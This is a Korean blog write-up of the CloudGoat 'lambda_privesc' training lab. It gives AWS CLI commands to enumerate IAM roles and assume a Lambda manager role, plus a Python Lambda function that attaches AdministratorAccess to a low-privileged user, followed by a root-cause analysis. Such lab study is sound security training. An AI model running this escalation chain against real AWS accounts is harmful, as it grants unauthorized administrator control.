[CloudGoat] 2. lambda_privesc
이것저것/Cloud

[CloudGoat] 2. lambda_privesc

# Start

~/cloudgoat$ ./cloudgoat.py create lambda_privesc
~/cloudgoat$ cd lambda_privesc_[]/

[+] Information

  • IAM User "Chris"
  • 1 IAM User & 2 IAM Resources

[+] goal

관리자의 전체 권한을 얻는 것이다.

[+] start.txt


# Exploit Scenario

Step1. Configure

~/cloudgoat/lambda_privesc_cgid1rf4444iju$ aws configure --profile Chris

Step2. Check policies

~/cloudgoat/lambda_privesc_cgid1rf4444iju$ aws iam get-user --profile Chris

~/cloudgoat/lambda_privesc_cgid1rf4444iju$ aws iam list-attached-user-policies --user-name [Username] --profile Chris

:~/cloudgoat/lambda_privesc_cgid1rf4444iju$ aws iam list-policy-versions --policy-arn [PolicyArn] --profile Chris

  • 이번에는 policy version이 한 개만 있다.
~/cloudgoat/lambda_privesc_cgid1rf4444iju$ aws iam get-policy-version --policy-arn [PolicyArn] --version-id v1 --profile Chris

  • 1번에서와 달리, 이번에는 열람되는 버전 파일의 정보를 읽어봤을 때, 사용자도 제한되어 있고, 실행 가능한 동작들이 제한되어 있어 앞과 다른 풀이가 필요하다는 것을 알 수 있다.
  • Sid는 chris로 현재 사용자에 대한 policy인 것을 알 수 있다.
  • 허용된 Action 중 "sts: AssumeRole"이 있다.
sts: AssumeRole (API)
일반적으로 접근할 수 없는 AWS resource에 접근할 수 있도록 일시적으로 보안 자격을 주는 API다.
- https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html

Step3. list role

~/cloudgoat/lambda_privesc_cgid1rf4444iju$ aws iam list-roles --profile Chris
list-roles
특정 경로에서 가지게 되는 IAM 역할들을 보여준다.
- https://docs.aws.amazon.com/cli/latest/reference/iam/list-roles.html

AWSServieRoleForSupport
TrustedAdvisor
✨ cg-debug-role
✨ lambdaManager
my-s3-function-role

  • SID (사용자 고유 ID)의 값이 ""로 설정되어 있는 것은 현재 사용자를 가리킨다.
  • 현재 사용자(chris)에게 주어진 role을 2가지 확인할 수 있다: "cg-debug-role", "cg-lambdaManager-role"

step4. list-attached-role-policies

~/cloudgoat/lambda_privesc_cgid1rf4444iju$ aws iam list-attached-role-policies --role-name cg-debug-role-[name] --profile Chris

cg-debug-role에 대한 policy

  • cg-debug-role에 적용되는 policy의 이름이 "AdministratorAccess"다.
  • 이름으로 추측해보기로는 이 role을 할 때면 일시적으로 권한을 바꿔 관리자(administrator)로서 동작할 수 있을 것 같다: privileged role
~/cloudgoat/lambda_privesc_cgid1rf4444iju$ aws iam list-attached-role-policies --role-name cg-lambdaManager-role-[name] --profile Chris

cg-lambdaManager-role

~/cloudgoat/lambda_privesc_cgid1rf4444iju$ aws iam get-policy-version --policy-arn [cg-debug-role-policy arn] --version-id v1 --profile Chris

  • 모든 권한을 허락하는 administrator policy를 확인할 수 있다.
~/cloudgoat/lambda_privesc_cgid1rf4444iju$ aws iam get-policy-version --policy-arn [cg-lambdaManager-role-policy arn] --version-id v1 --profile Chris

  • lambdaManager에는 "iam:PassRole"을 실행할 수 있는 권한을 갖고 있다. 따라서, lambdaManger 를 이용해 사용자는 권한 상승을 할 수 있게된다.
A user with the iam:PassRole, lambda:CreateFunction and lambda:InvokeFunction permissions can escalate privileges by passing an existing IAM role to new Lambda function that includes code to import the relevant AWS library to their programming language of choice, then using it perform actions of their choice.

step5. sts assume-role (lambdaManger)

~/cloudgoat/lambda_privesc_cgid1rf4444iju$ aws sts assume-role --role-arn [cs-lambdaManager-role arn] --role-session-name lambdaManager --profile Chris

lambdaManager role에 일시적으로 관리자 권한만이 접근할 수 있는 리소스에 접근할 수 있는 자격을 부여한다.

이제 lambdaManger는 임시적으로 위에 보이는 리소스들에 대한 접근권한을 부여받았다.

이 때 얻은 'AccessKeyID', 'SecretAccessKey', 'SessionToken' 값을 "~/.aws/credentials"에 추가한다.

~/cloudgoat/lambda_privesc_cgid1rf4444iju$ vi ~/.aws/credentials

추가!

step6. create Lambda Function

# ~/cloudgoat/lambda_privesc_cgid1rf4444iju$ vi lambda_function.py lambda_function.py
import boto3
def lambda_handler(event, context):
	client = boto3.client('iam')
	response = client.attach_user_policy(UserName = 'chris-<cloudgoat_id>', PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')
	return response
  • 현재 사용자의 policy를 변경하는 lambda 함수를 작성한다.
    • 사용자에게 주어지는 policy로는 권한 상승을 할 수 있는 policy를 찾을 수 없었기 때문에 사용자가 접근할 수 있는 role들을 찾고, 그 role에 주어지는 policy를 사용해 권한 상승을 한다.
~/cloudgoat/lambda_privesc_cgid1rf4444iju$ zip lambda_function.py.zip lambda_function.py

python 코드를 zip으로 압축한다.

~/cloudgoat/lambda_privesc_cgid1rf4444iju$ aws lambda create-function --function-name admin_function --runtime python3.6 --role [cg-debug-role-Arn] --handler lambda_function.lambda_handler --zip-file fileb://lambda_function.py.zip --profile lambdaManager --region [Region 아무거나..?]

🚨 Error 🚨

더보기

Step 5를 하고 하루 지나서 다시 했더니 security token이 만료되었다는 메시지가 떴다! 위에서도 정리했던 것과 같이 lambdaManager에게 관리자 권한이 영구적으로 주어진 것이 아니라 일정 기간 임시적으로 주어졌기 때문에 발생한 상황이다.

step7. invoke

~/cloudgoat/lambda_privesc_cgid1rf4444iju$ aws lambda invoke --function-name admin_function out.txt --profile lambdaManager --regio
n [region]

 

  • "StatusCode"값이 200이 나오면 정상적으로 진행되고 있는 것이다! 

 

step8. confirm

~/cloudgoat/lambda_privesc_cgid1rf4444iju$ aws iam list-attached-user-policies --user-name [Username] --pr
ofile Chris

  • 관리자 권한을 포함하고 있는 Policy가 현재 사용자의 default policy로 잘 적용된 것을 확인할 수 있다.


# Analyze

취약점

  • Privilege Escalation

발생 원인

  • 사용자에게 주어지는 policy에는 관리자 권한에 대한 policy를 제외했지만, 이를 우회해 사용자에게 주어지는 role에 대한 policy 중 administrator policy가 존재한다.
  • 사용자에게 sts:AssumeRole에 대한 권한이 있어 사용자가 일반적으로 접근할 수 없는 resource에 일시적으로나마 접근할 수 있도록 한다.
  • 사용자에게 주어지는 role 중 관리자 권한을 가진 role이 있고, 또 다른 role은 iam:PassRole에 대한 권한을 가져 다른 role의 권한을 가져올 수 있다.

마지막으로 destroy 잊지 말기!

SMALL

'이것저것 > Cloud' 카테고리의 다른 글

[CloudGoat] 6. rce_web_app  (0) 2021.08.18
[CloudGoat] 5. ec2_ssrf  (0) 2021.08.17
[CloudGoat] 4. iam_privesc_by_attachment  (0) 2021.08.17
[CloudGoat] 3. cloud_breach_s3  (0) 2021.08.16
[CloudGoat] 1. iam_privesc_by_rollback  (0) 2021.08.15